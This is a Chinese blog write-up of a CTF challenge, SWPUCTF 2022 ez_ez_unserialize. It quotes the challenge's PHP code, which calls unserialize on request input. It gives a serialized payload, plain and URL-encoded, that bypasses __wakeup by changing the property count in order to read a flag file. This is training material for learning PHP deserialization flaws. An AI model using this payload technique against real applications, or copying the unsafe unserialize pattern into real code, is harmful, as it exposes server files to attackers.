SWPUCTF 2022 新生赛ez_ez_unserialize
本文最后更新于448 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

Pasted image 20250401224714.png

一、访问网站

Pasted image 20250401224757.png

二、分析代码

<?php  
class X  
{  
    public $x = __FILE__;  
    function __construct($x)  
    {        $this->x = $x;  
    }  
    function __wakeup()  
    {  
        if ($this->x !== __FILE__) {   
                 $this->x = __FILE__;  
        }  
    }  
    function __destruct()  
    {       
     highlight_file($this->x);       
      //flag is in fllllllag.php    }  
}  
if (isset($_REQUEST['x'])) {  
    @unserialize($_REQUEST['x']);  
} else {   
	highlight_file(__FILE__);  
}
头:x

__wekaup绕过  $this->x=fllllllag.php 

尾:x->__destruct->highlight_file $this->x=fllllllag.php 

解题思路:
1.头:x
2.尾:x->__destruct->highlight_file
3.wakeup函数会将变量x覆盖,需要绕过
4.construct不触发,不用管
5.将x赋值为fllllllag.php

三、生成payload

Pasted image 20250401225838.png

O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}

O%3A1%3A%22X%22%3A1%3A%7Bs%3A1%3A%22x%22%3Bs%3A13%3A%22fllllllag.php%22%3B%7D

绕过wakeup魔术方法,将类属性的数量改为2

O%3A1%3A%22X%22%3A2%3A%7Bs%3A1%3A%22x%22%3Bs%3A13%3A%22fllllllag.php%22%3B%7D

四、执行payload

Pasted image 20250401225808.png

总结

  • php反序列化
  • wakeup绕过:将类的属性数量更改
  • construct在反序列化中不触发
文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇